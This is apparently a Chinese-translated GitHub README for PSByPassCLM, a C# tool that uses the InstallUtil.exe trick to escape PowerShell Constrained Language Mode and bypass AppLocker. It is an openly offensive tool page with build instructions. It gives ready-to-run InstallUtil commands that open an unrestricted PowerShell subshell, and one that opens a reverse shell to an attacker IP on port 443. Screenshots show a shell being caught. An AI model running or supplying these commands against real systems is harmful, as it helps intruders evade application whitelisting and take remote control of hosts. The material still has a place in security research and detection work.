padovah4ck/PSByPassCLM

GitHub: padovah4ck/PSByPassCLM

利用 InstallUtil.exe 绕过 PowerShell 受限语言模式的 C# 工具,在 AppLocker 环境下获取完整语言模式会话。

Stars: 406 | Forks: 51

# PS ByPassCLM 绕过 PowerShell 受限语言模式 ## 描述与参考 当你被困在一个低权限的 PS 控制台中,且 PowerShell 版本 2 引擎不可用,从而无法执行 [PowerShell 降级攻击](http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/) 时,这项技术可能会派上用场。 上述情况可能发生在 [现代] Windows 操作系统(如 Windows 10, Windows Server 2016..)中,这些系统如今默认配备 AppLocker 和 PowerShell 版本 5 (v5)。 当 AppLocker 处于允许模式且 PowerShell 运行在受限模式时,攻击者无法将 PowerShell 语言模式更改为完整模式以运行攻击工具。 恕我直言,无法使用核心语言功能(例如,将脚本加载到内存中等...)是一件非常痛苦的事情。 “PowerShell v5 检测到 AppLocker 允许模式生效时,会将 PowerShell 语言设置为受限模式,从而严格限制了系统的攻击面。 当 AppLocker 处于允许模式且 PowerShell 运行在受限模式时,攻击者无法将 PowerShell 语言模式更改为完整模式以运行攻击工具。” [[来源]](https://adsecurity.org/?p=2604) ## 构建二进制文件 该项目使用 C# 编写。所有源代码(虽然只有几行)已提交:.csproj, .sln ... IDE - Visual Studio 2015。你应该能够使用默认配置 Debug/X64 轻松编译并构建二进制文件。 你可能只需要修复位于 GAC 文件夹中的 System.Management.Automation 引用 ``` C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll ``` ## 用法 好吧,这里没什么新东西,我们将使用古老且众所周知的 "InstallUtil.exe" 技巧来绕过 AppLocker。 编译二进制文件后,在目标主机上执行以下命令。 此外,你的二进制文件不必是 "exe",因为 InstallUtil.exe 可以解析任何文件类型(.txt, .bin....) 此命令在当前控制台中打开一个子 shell ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` 此命令尝试打开一个 PS 反向 shell(我已将其作为救命稻草绑定到源代码中 :-) ..) ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` ## 测试 在以下环境中测试 (Windows Server 2016) ![截图](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e0344446ad125758.jpg) ![截图](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/32f3d6b3ec125800.jpg) 当前控制台中的 PS 进程 ![截图](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/b76460905d125801.jpg) 尝试打开 PS 反向 shell ![截图](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d80166fd46125802.jpg) 获取到 shell ![截图](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/c44a838494125803.jpg) ## 有用的链接 https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/ https://adsecurity.org/?p=2604 https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/ https://blog.stealthbits.com/how-attackers-are-bypassing-powershell-protections/ https://decoder.cloud/2017/11/17/we-dont-need-powershell-exe-part-3/ ## 作者 此代码由 Chris D. [@padovah4ck](https://twitter.com/padovah4ck) // [LinkedIn](https://www.linkedin.com/in/chrisdanieli/) 开发 // 使用风险自负。我不承担任何责任 ![啤酒](https://icons.iconarchive.com/icons/flat-icons.com/flat/48/Beer-icon.png) [如果你喜欢,请我喝杯啤酒 ;-)](https://www.buymeacoffee.com/padovah4ck)
标签:AI合规, AppLocker绕过, CLM绕过, Conpot, DNS 反向解析, InstallUtil, IPv6, .NET安全, OpenCanary, PowerShell, System.Management.Automation, Windows安全, 协议分析, 受约束语言模式, 安全机制逃逸, 提权, 权限提升, 白名单绕过, 私有化部署, 防御规避